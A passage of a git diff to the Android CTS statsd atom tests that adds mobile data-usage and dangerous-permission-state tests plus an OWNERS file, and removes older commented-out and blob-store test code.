+    public void testMobileBytesTransferByFgBg() throws Throwable {
+
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransferByFgBg data =
+                            atom.getMobileBytesTransferByFgBg();
+                    if (!data.getIsForeground()) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    // TODO(b/157651730): Determine how to test tag and metered state within atom.
+    public void testBytesTransferByTagAndMetered() throws Throwable {
+        doTestMobileBytesTransferThat(Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.BytesTransferByTagAndMetered data =
+                            atom.getBytesTransferByTagAndMetered();
+                    if (data.getTag() != 0 /*app traffic not generated on tag 0*/) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    private static class TransferredBytes {
+        final long mRxBytes;
+        final long mTxBytes;
+        final long mRxPackets;
+        final long mTxPackets;
+        final long mAppUid;
+
+        public TransferredBytes(
+                long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
+            mRxBytes = rxBytes;
+            mTxBytes = txBytes;
+            mRxPackets = rxPackets;
+            mTxPackets = txPackets;
+            mAppUid = appUid;
+        }
+    }
+
+    @FunctionalInterface
+    private interface ThrowingPredicate<S, T extends Throwable> {
+        TransferredBytes accept(S s) throws T;
+    }
+
+    private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
+        // Set value to enable/disable combine subtype.
+        setNetworkStatsCombinedSubTypeEnabled(enable);
+
+        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+                false, (atom) -> {
+                    final AtomsProto.DataUsageBytesTransfer data =
+                            atom.getDataUsageBytesTransfer();
+                    final boolean ratTypeEqualsToUnknown =
+                            (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                    final boolean ratTypeGreaterThanUnknown =
+                            (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+
+                    if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
+                            && ((enable && ratTypeEqualsToUnknown)
+                            || (!enable && ratTypeGreaterThanUnknown))) {
+                        // Assert that subscription info is valid.
+                        assertSubscriptionInfo(data);
+                        // DataUsageBytesTransferred atom does not report app uid.
+                        return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                                data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+                    }
+                    return null;
+                });
+    }
+
+    private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
+            ThrowingPredicate<Atom, Exception> p)
+            throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) return;
+        // Upload the config.
+        final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        if (isUidAtom) {
+            ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+                    DeviceUtils.STATSD_ATOM_TEST_PKG);
+        } else {
+            ConfigUtils.addGaugeMetric(config, atomId);
+        }
+        ConfigUtils.uploadConfig(getDevice(), config);
+        // Generate some mobile traffic.
+        DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+                "testGenerateMobileTraffic");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Force poll NetworkStatsService to get most updated network stats from lower layer.
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "PollNetworkStatsActivity",
+                /*actionKey=*/null, /*actionValue=*/null);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull.
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+                /*checkTimestampTruncated=*/true);
+        assertThat(atoms.size()).isAtLeast(1);
+        boolean foundAppStats = false;
+        for (final Atom atom : atoms) {
+            TransferredBytes transferredBytes = p.accept(atom);
+            if (transferredBytes != null) {
+                foundAppStats = true;
+                // Checks that the uid in the atom corresponds to the app uid and checks that the
+                // bytes and packet data are as expected.
+                if (isUidAtom) {
+                    final int appUid = DeviceUtils.getAppUid(getDevice(),
+                            DeviceUtils.STATSD_ATOM_TEST_PKG);
+                    assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+                }
+                assertDataUsageAtomDataExpected(
+                        transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+                        transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+            }
+        }
+        assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG)
+                + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+    }
+
+    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
+        assertThat(rxb).isGreaterThan(0L);
+        assertThat(txb).isGreaterThan(0L);
+        assertThat(rxp).isGreaterThan(0L);
+        assertThat(txp).isGreaterThan(0L);
+    }
+
+    private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
+        assertThat(data.getSimMcc()).matches("^\\d{3}$");
+        assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+        assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
+    }
+
+    private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+        final String output = getDevice().executeShellCommand(
+                "settings get global netstats_combine_subtype_enabled").trim();
+        return output.equals("1");
+    }
+
+    private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+                + (enable ? "1" : "0"));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
new file mode 100644
index 0000000..f78f90b
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -0,0 +1,12 @@
+# These atom tests are co-owned by statsd and network team
+jchalard@google.com
+jeffreyhuang@google.com
+jtnguyen@google.com
+junyulai@google.com
+lorenzo@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+sudheersai@google.com
+tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
new file mode 100644
index 0000000..8b1c35d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/DangerousPermissionStateTests.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.permissionstate;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class DangerousPermissionStateTests extends DeviceTestCase implements IBuildReceiver {
+    private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testDangerousPermissionState() throws Exception {
+
+        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
+        final int PROTECTION_FLAG_DANGEROUS = 1;
+        final int PROTECTION_FLAG_INSTANT = 0x1000;
+
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        boolean verifiedKnowPermissionState = false;
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
+
+            assertThat(permissionState.getPermissionName()).isNotNull();
+            assertThat(permissionState.getUid()).isAtLeast(0);
+            assertThat(permissionState.getPackageName()).isNotNull();
+
+            if (getAppId(permissionState.getUid()) == testAppId) {
+
+                if (permissionState.getPermissionName().contains(
+                        "ACCESS_FINE_LOCATION")) {
+                    assertThat(permissionState.getIsGranted()).isTrue();
+                    assertThat(permissionState.getPermissionFlags() & ~(
+                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
+                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
+                            .isEqualTo(0);
+                    assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                            PROTECTION_FLAG_DANGEROUS | PROTECTION_FLAG_INSTANT
+                    );
+
+                    verifiedKnowPermissionState = true;
+                }
+            }
+        }
+
+        assertThat(verifiedKnowPermissionState).isTrue();
+    }
+
+    public void testDangerousPermissionStateSampled() throws Exception {
+        // get full atom for reference
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
+        }
+
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice()); // Clears data.
+        List<AtomsProto.Atom> gaugeMetricDataList = null;
+
+        // retries in case sampling returns full list or empty list - which should be extremely rare
+        for (int attempt = 0; attempt < 10; attempt++) {
+            // Set up what to collect
+            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
+
+            // Pull a report
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+            if (gaugeMetricDataList.size() > 0
+                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
+                break;
+            }
+            ConfigUtils.removeConfig(getDevice());
+            ReportUtils.clearReports(getDevice()); // Clears data.
+        }
+        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
+        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
+
+        long lastUid = -1;
+        int fullIndex = 0;
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.DangerousPermissionStateSampled permissionState =
+                    atom.getDangerousPermissionStateSampled();
+
+            AtomsProto.DangerousPermissionState referenceState
+                    = fullDangerousPermissionState.get(fullIndex);
+
+            if (referenceState.getUid() != permissionState.getUid()) {
+                // atoms are sampled on uid basis if uid is present, all related permissions must
+                // be logged.
+                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
+                continue;
+            }
+
+            lastUid = permissionState.getUid();
+
+            assertThat(permissionState.getPermissionFlags()).isEqualTo(
+                    referenceState.getPermissionFlags());
+            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
+            assertThat(permissionState.getPermissionName()).isEqualTo(
+                    referenceState.getPermissionName());
+            assertThat(permissionState.getProtectionFlags()).isEqualTo(
+                    referenceState.getProtectionFlags());
+
+            fullIndex++;
+        }
+    }
+
+    /**
+     * The app id from a uid.
+     *
+     * @param uid The uid of the app
+     *
+     * @return The app id of the app
+     *
+     * @see android.os.UserHandle#getAppId
+     */
+    private static int getAppId(int uid) {
+        return uid % 100000;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java
deleted file mode 100644
index 7ea6971..0000000
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/permissionstate/PermissionStateTests.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsdatom.permissionstate;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsdatom.lib.AtomTestUtils;
-import android.cts.statsdatom.lib.ConfigUtils;
-import android.cts.statsdatom.lib.DeviceUtils;
-import android.cts.statsdatom.lib.ReportUtils;
-
-import com.android.os.AtomsProto;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class PermissionStateTests extends DeviceTestCase implements IBuildReceiver {
-    private static final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
-
-    private IBuildInfo mCtsBuild;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertThat(mCtsBuild).isNotNull();
-        ConfigUtils.removeConfig(getDevice());
-        ReportUtils.clearReports(getDevice());
-        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
-        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        ConfigUtils.removeConfig(getDevice());
-        ReportUtils.clearReports(getDevice());
-        DeviceUtils.uninstallStatsdTestApp(getDevice());
-        super.tearDown();
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    public void testDangerousPermissionState() throws Exception {
-
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
-
-        // Set up what to collect
-        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
-        boolean verifiedKnowPermissionState = false;
-
-        // Pull a report
-        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(DeviceUtils.getStatsdTestAppUid(getDevice()));
-
-        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
-            AtomsProto.DangerousPermissionState permissionState = atom.getDangerousPermissionState();
-
-            assertThat(permissionState.getPermissionName()).isNotNull();
-            assertThat(permissionState.getUid()).isAtLeast(0);
-            assertThat(permissionState.getPackageName()).isNotNull();
-
-            if (getAppId(permissionState.getUid()) == testAppId) {
-
-                if (permissionState.getPermissionName().contains(
-                        "ACCESS_FINE_LOCATION")) {
-                    assertThat(permissionState.getIsGranted()).isTrue();
-                    assertThat(permissionState.getPermissionFlags() & ~(
-                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
-                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
-                            .isEqualTo(0);
-
-                    verifiedKnowPermissionState = true;
-                }
-            }
-        }
-
-        assertThat(verifiedKnowPermissionState).isTrue();
-    }
-
-    public void testDangerousPermissionStateSampled() throws Exception {
-        // get full atom for reference
-        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
-        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
-        List<AtomsProto.DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
-        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
-            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
-        }
-
-        ConfigUtils.removeConfig(getDevice());
-        ReportUtils.clearReports(getDevice()); // Clears data.
-        List<AtomsProto.Atom> gaugeMetricDataList = null;
-
-        // retries in case sampling returns full list or empty list - which should be extremely rare
-        for (int attempt = 0; attempt < 10; attempt++) {
-            // Set up what to collect
-            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                    AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER);
-
-            // Pull a report
-            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
-            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
-            gaugeMetricDataList = ReportUtils.getGaugeMetricAtoms(getDevice());
-            if (gaugeMetricDataList.size() > 0
-                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
-                break;
-            }
-            ConfigUtils.removeConfig(getDevice());
-            ReportUtils.clearReports(getDevice()); // Clears data.
-        }
-        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
-        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
-
-        long lastUid = -1;
-        int fullIndex = 0;
-
-        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
-            AtomsProto.DangerousPermissionStateSampled permissionState =
-                    atom.getDangerousPermissionStateSampled();
-
-            AtomsProto.DangerousPermissionState referenceState
-                    = fullDangerousPermissionState.get(fullIndex);
-
-            if (referenceState.getUid() != permissionState.getUid()) {
-                // atoms are sampled on uid basis if uid is present, all related permissions must
-                // be logged.
-                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
-                continue;
-            }
-
-            lastUid = permissionState.getUid();
-
-            assertThat(permissionState.getPermissionFlags()).isEqualTo(
-                    referenceState.getPermissionFlags());
-            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
-            assertThat(permissionState.getPermissionName()).isEqualTo(
-                    referenceState.getPermissionName());
-
-            fullIndex++;
-        }
-    }
-
-    /**
-     * The app id from a uid.
-     *
-     * @param uid The uid of the app
-     *
-     * @return The app id of the app
-     *
-     * @see android.os.UserHandle#getAppId
-     */
-    private static int getAppId(int uid) {
-        return uid % 100000;
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
index 9b15b89..6174400 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/settingsstats/SettingsStatsTests.java
@@ -100,7 +100,7 @@
 
         // Test the size of atoms. It should contain 5 atoms.
         List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
-        assertThat(atoms.size()).isEqualTo(5);
+        assertThat(atoms.size()).isAtLeast(5);
         AtomsProto.SettingSnapshot snapshot = null;
         for (AtomsProto.Atom atom : atoms) {
             AtomsProto.SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 85de6dd..fdf6f56 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -36,9 +36,6 @@
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.AttributionNode;
 import com.android.os.AtomsProto.AudioStateChanged;
-import com.android.os.AtomsProto.BlobCommitted;
-import com.android.os.AtomsProto.BlobLeased;
-import com.android.os.AtomsProto.BlobOpened;
 import com.android.os.AtomsProto.CameraStateChanged;
 import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -786,255 +783,6 @@
         assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
         assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
     }
-/*
-    public void testMobileBytesTransfer() throws Throwable {
-        final int appUid = getUid();
-
-        // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
-        // corresponding atom type to prevent code duplication. The passed predicate returns
-        // true if the atom of appUid is found, false otherwise, and throws an exception if
-        // contents are not expected.
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransfer data = ((Atom) atom).getMobileBytesTransfer();
-            if (data.getUid() == appUid) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-*/
-/*
-    public void testMobileBytesTransferByFgBg() throws Throwable {
-        final int appUid = getUid();
-
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransferByFgBg data =
-                    ((Atom) atom).getMobileBytesTransferByFgBg();
-            if (data.getUid() == appUid && data.getIsForeground()) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
-        assertThat(data.getSimMcc()).matches("^\\d{3}$");
-        assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
-        assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
-    }
-
-    private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
-        // Set value to enable/disable combine subtype.
-        setNetworkStatsCombinedSubTypeEnabled(enable);
-
-        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.DataUsageBytesTransfer data =
-                    ((Atom) atom).getDataUsageBytesTransfer();
-            final boolean ratTypeEqualsToUnknown =
-                    (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-            final boolean ratTypeGreaterThanUnknown =
-                    (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-
-            if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
-                    && ((enable && ratTypeEqualsToUnknown)
-                    || (!enable && ratTypeGreaterThanUnknown))) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                // Assert that subscription info is valid.
-                assertSubscriptionInfo(data);
-
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testDataUsageBytesTransfer() throws Throwable {
-        final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
-
-        doTestDataUsageBytesTransferEnabled(true);
-
-        // Remove config from memory and disk to clear the history.
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-
-        doTestDataUsageBytesTransferEnabled(false);
-
-        // Restore to original default value.
-        setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
-    }
-    // TODO(b/157651730): Determine how to test tag and metered state within atom.
-    public void testBytesTransferByTagAndMetered() throws Throwable {
-        final int appUid = getUid();
-        final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
-
-        doTestMobileBytesTransferThat(atomId, (atom) -> {
-            final AtomsProto.BytesTransferByTagAndMetered data =
-                    ((Atom) atom).getBytesTransferByTagAndMetered();
-            if (data.getUid() == appUid && data.getTag() == 0) { // app traffic generated on tag 0
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-*/
-    public void testPushedBlobStoreStats() throws Exception {
-        StatsdConfig.Builder conf = ConfigUtils.createConfigBuilder(
-                DeviceUtils.STATSD_ATOM_TEST_PKG);
-        ConfigUtils.addEventMetricForUidAtom(conf,
-                Atom.BLOB_COMMITTED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
-                DeviceUtils.STATSD_ATOM_TEST_PKG);
-        ConfigUtils.addEventMetricForUidAtom(conf,
-                Atom.BLOB_LEASED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
-                DeviceUtils.STATSD_ATOM_TEST_PKG);
-        ConfigUtils.addEventMetricForUidAtom(conf,
-                Atom.BLOB_OPENED_FIELD_NUMBER, /*useUidAttributionChain=*/false,
-                DeviceUtils.STATSD_ATOM_TEST_PKG);
-        ConfigUtils.uploadConfig(getDevice(), conf);
-
-        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBlobStore");
-
-        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data).hasSize(3);
-
-        BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
-        final long blobId = blobCommitted.getBlobId();
-        final long blobSize = blobCommitted.getSize();
-        assertThat(blobCommitted.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
-        assertThat(blobId).isNotEqualTo(0);
-        assertThat(blobSize).isNotEqualTo(0);
-        assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
-
-        BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
-        assertThat(blobLeased.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
-        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
-        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
-        assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
-
-        BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
-        assertThat(blobOpened.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
-        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
-        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
-        assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
-    }
-
-    // Constants that match the constants for AtomTests#testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-
-    public void testPulledBlobStoreStats() throws Exception {
-        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                Atom.BLOB_INFO_FIELD_NUMBER);
-
-        final long testStartTimeMs = getDeviceTimeMs();
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBlobStore");
-        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
-        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
